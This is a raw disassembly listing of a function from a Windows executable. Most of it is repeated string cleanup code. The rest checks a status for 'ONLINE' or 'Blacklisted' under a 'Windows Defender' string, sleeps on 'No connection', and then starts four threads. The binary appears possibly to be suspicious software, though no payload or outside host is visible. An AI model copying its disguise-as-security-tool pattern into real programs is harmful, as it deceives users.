mov byte [ebp - 0x1dc], 0
mov byte [ebp - 4], 0x5a
mov ecx, dword [ebp - 0x1e0]
cmp ecx, 0x10
jb 0x40499e
mov edx, dword [ebp - 0x1f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404994
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
mov byte [ebp - 4], 0x5b
mov ecx, dword [ebp - 0x1f8]
cmp ecx, 0x10
jb 0x4049f7
mov edx, dword [ebp - 0x20c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4049ed
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
mov byte [ebp - 4], 0x5c
mov ecx, dword [ebp - 0x210]
cmp ecx, 0x10
jb 0x404a50
mov edx, dword [ebp - 0x224]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404a46
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0xf
mov byte [ebp - 0x224], 0
mov byte [ebp - 4], 0x5d
mov ecx, dword [ebp - 0x228]
cmp ecx, 0x10
jb 0x404aa9
mov edx, dword [ebp - 0x23c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404a9f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x228], 0xf
mov byte [ebp - 0x23c], 0
mov byte [ebp - 4], 0x5e
mov ecx, dword [ebp - 0x240]
cmp ecx, 0x10
jb 0x404b02
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404af8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x240], 0xf
mov byte [ebp - 0x254], 0
mov byte [ebp - 4], 0x5f
mov ecx, dword [ebp - 0x258]
cmp ecx, 0x10
jb 0x404b5b
mov edx, dword [ebp - 0x26c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404b51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x258], 0xf
mov byte [ebp - 0x26c], 0
mov byte [ebp - 4], 0x60
mov ecx, dword [ebp - 0x270]
cmp ecx, 0x10
jb 0x404bb4
mov edx, dword [ebp - 0x284]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404baa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x270], 0xf
mov byte [ebp - 0x284], 0
mov byte [ebp - 4], 0x61
mov ecx, dword [ebp - 0x288]
cmp ecx, 0x10
jb 0x404c0d
mov edx, dword [ebp - 0x29c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404c03
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x288], 0xf
mov byte [ebp - 0x29c], 0
mov byte [ebp - 4], 0x62
mov ecx, dword [ebp - 0x2a0]
cmp ecx, 0x10
jb 0x404c66
mov edx, dword [ebp - 0x2b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404c5c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x2a4], 0
mov dword [ebp - 0x2a0], 0xf
mov byte [ebp - 0x2b4], 0
mov byte [ebp - 4], 0x63
mov ecx, dword [ebp - 0x2b8]
cmp ecx, 0x10
jb 0x404cbf
mov edx, dword [ebp - 0x2cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404cb5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x2bc], 0
mov dword [ebp - 0x2b8], 0xf
mov byte [ebp - 0x2cc], 0
mov byte [ebp - 4], 0x64
mov ecx, dword [ebp - 0x2d0]
cmp ecx, 0x10
jb 0x404d18
mov edx, dword [ebp - 0x2e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404d0e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x2d0], 0xf
mov byte [ebp - 0x2e4], 0
mov byte [ebp - 4], 0x65
mov ecx, dword [ebp - 0x2e8]
cmp ecx, 0x10
jb 0x404d71
mov edx, dword [ebp - 0x2fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404d67
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x2e8], 0xf
mov byte [ebp - 0x2fc], 0
mov byte [ebp - 4], 0x66
mov ecx, dword [ebp - 0x300]
cmp ecx, 0x10
jb 0x404dca
mov edx, dword [ebp - 0x314]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404dc0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x300], 0xf
mov byte [ebp - 0x314], 0
mov byte [ebp - 4], 0x67
mov ecx, dword [ebp - 0x318]
cmp ecx, 0x10
jb 0x404e23
mov edx, dword [ebp - 0x32c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404e19
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0x318], 0xf
mov byte [ebp - 0x32c], 0
mov byte [ebp - 4], 0x68
mov ecx, dword [ebp - 0x330]
cmp ecx, 0x10
jb 0x404e7c
mov edx, dword [ebp - 0x344]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404e72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x330], 0xf
mov byte [ebp - 0x344], 0
mov byte [ebp - 4], 0x69
mov ecx, dword [ebp - 0x348]
cmp ecx, 0x10
jb 0x404ed5
mov edx, dword [ebp - 0x35c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404ecb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x348], 0xf
mov byte [ebp - 0x35c], 0
mov byte [ebp - 4], 0x6a
mov ecx, dword [ebp - 0x360]
cmp ecx, 0x10
jb 0x404f2e
mov edx, dword [ebp - 0x374]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404f24
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x360], 0xf
mov byte [ebp - 0x374], 0
mov byte [ebp - 4], 0x6b
mov ecx, dword [ebp - 0x378]
cmp ecx, 0x10
jb 0x404f87
mov edx, dword [ebp - 0x38c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404f7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x37c], 0
mov dword [ebp - 0x378], 0xf
mov byte [ebp - 0x38c], 0
mov byte [ebp - 4], 0x6c
mov ecx, dword [ebp - 0x390]
cmp ecx, 0x10
jb 0x404fe0
mov edx, dword [ebp - 0x3a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404fd6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x394], 0
mov dword [ebp - 0x390], 0xf
mov byte [ebp - 0x3a4], 0
mov byte [ebp - 4], 0x6d
mov ecx, dword [ebp - 0x3a8]
cmp ecx, 0x10
jb 0x405039
mov edx, dword [ebp - 0x3bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40502f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x3a8], 0xf
mov byte [ebp - 0x3bc], 0
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x10
movups xmmword [ecx], xmm0
push str.Windows_Defender
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
sub esp, 0x18
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0x7c]
mov ecx, esp
push eax
call fcn.00417780
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x6d
call fcn.00405430
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
mov edi, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x3c]
cmovae ecx, edi
push 6
push str.ONLINE
push 0
mov edx, esi
setae byte [ebp - 0x7d]
call fcn.00418cd0
add esp, 0x3c
cmp eax, 0xffffffff
jne 0x4051e0
cmp byte [ebp - 0x7d], 0
lea ecx, [ebp - 0x4c]
cmovne ecx, edi
mov dword [ebp - 0x20], ecx
cmp esi, 0xb
jb 0x405177
lea eax, [esi - 0xa]
add eax, ecx
mov dword [ebp - 0x18], eax
sub eax, ecx
push eax
push 0x42
push ecx
call fcn.004272d0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x405177
mov edx, edi
mov ecx, str.Blacklisted
mov esi, 7
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x405121
add edx, 4
add ecx, 4
sub esi, 4
jae 0x405110
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x405148
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x405148
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x405148
cmp esi, 0xffffffff
je 0x405144
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
jne 0x405148
xor eax, eax
jmp 0x40514d
sbb eax, eax
or eax, 1
test eax, eax
je 0x40516b
mov eax, dword [ebp - 0x18]
inc edi
sub eax, edi
push eax
push 0x42
push edi
call fcn.004272d0
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x405100
jmp 0x405177
sub edi, dword [ebp - 0x20]
cmp edi, 0xffffffff
jne 0x4053de
mov edx, str.No_connection
mov ecx, 0x456268
call fcn.00418150
push eax
call fcn.004183f0
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 4], 0x6d
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x405054
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4051cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053cf
push ecx
push edx
call fcn.0042426b
add esp, 8
jmp 0x405054
push 4
call fcn.00423fea
mov dword [ebp - 0x14], eax
mov dword [eax], 0x406630
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x70
push ecx
push 0
push eax
push 0x41d040
push 0
push 0
call fcn.004291ea
add esp, 0x1c
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x4053c1
push 4
mov byte [ebp - 4], 0x71
call fcn.00423fea
mov dword [ebp - 0x14], eax
mov dword [eax], 0x407480
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x72
push ecx
push 0
push eax
push 0x41d040
push 0
push 0
call fcn.004291ea
add esp, 0x1c
mov dword [ebp - 0x24], eax
test eax, eax
je 0x40541b
push 4
mov byte [ebp - 4], 0x73
call fcn.00423fea
mov dword [ebp - 0x14], eax
mov dword [eax], 0x409470
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x74
push ecx
push 0
push eax
push 0x41d040
push 0
push 0
call fcn.004291ea
add esp, 0x1c
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x40540d
push 4
mov byte [ebp - 4], 0x75
call fcn.00423fea
mov dword [ebp - 0x14], eax
mov dword [eax], 0x40ada0
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x76
push ecx
push 0
push eax
push 0x41d040
push 0
push 0
call fcn.004291ea
add esp, 0x1c
mov dword [ebp - 0x34], eax
test eax, eax
je 0x4053ff
mov byte [ebp - 4], 0x77
cmp dword [ebp - 0x28], 0
je 0x4053f8
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x28]
cmp ecx, eax
je 0x4053f1
push 0
push ecx
push dword [ebp - 0x2c]
call fcn.00423874
add esp, 0xc
test eax, eax
jne 0x4053ea
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
cmp dword [ebp - 0x20], eax
je 0x4053f8
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x20]
cmp ecx, eax
je 0x4053f1
push 0
push ecx
push dword [ebp - 0x24]
call fcn.00423874
add esp, 0xc
test eax, eax
jne 0x4053ea
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
cmp dword [ebp - 0x18], eax
je 0x4053f8
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x18]
cmp ecx, eax
je 0x4053f1
push 0
push ecx
push dword [ebp - 0x1c]
call fcn.00423874
add esp, 0xc
test eax, eax
jne 0x4053ea
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
cmp dword [ebp - 0x30], eax
je 0x4053f8
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x30]
cmp ecx, eax
je 0x4053f1
push 0
push ecx
push dword [ebp - 0x34]
call fcn.00423874
add esp, 0xc
test eax, eax
jne 0x4053ea
xorps xmm0, xmm0
mov byte [ebp - 4], 0x73
movlpd qword [ebp - 0x34], xmm0
cmp dword [ebp - 0x18], eax
jne 0x4053e5
mov byte [ebp - 4], 0x71
cmp dword [ebp - 0x20], eax
jne 0x4053e5
mov byte [ebp - 4], 0x6f
cmp dword [ebp - 0x28], eax
jne 0x4053e5
jmp 0x4051e0
push 6
mov dword [ebp - 0x28], 0
call fcn.00421b81
call fcn.0042aacf
call fcn.0042aacf
call fcn.0042aacf
push 0
call fcn.00428bee
call fcn.00429985
push 2
call fcn.00421b81
push 5
call fcn.00421b81
push 1
call fcn.00421b81
push 6
mov dword [ebp - 0x30], 0
call fcn.00421b81
push 6
mov dword [ebp - 0x18], 0
call fcn.00421b81
push 6
mov dword [ebp - 0x20], 0
call fcn.00421b81
int3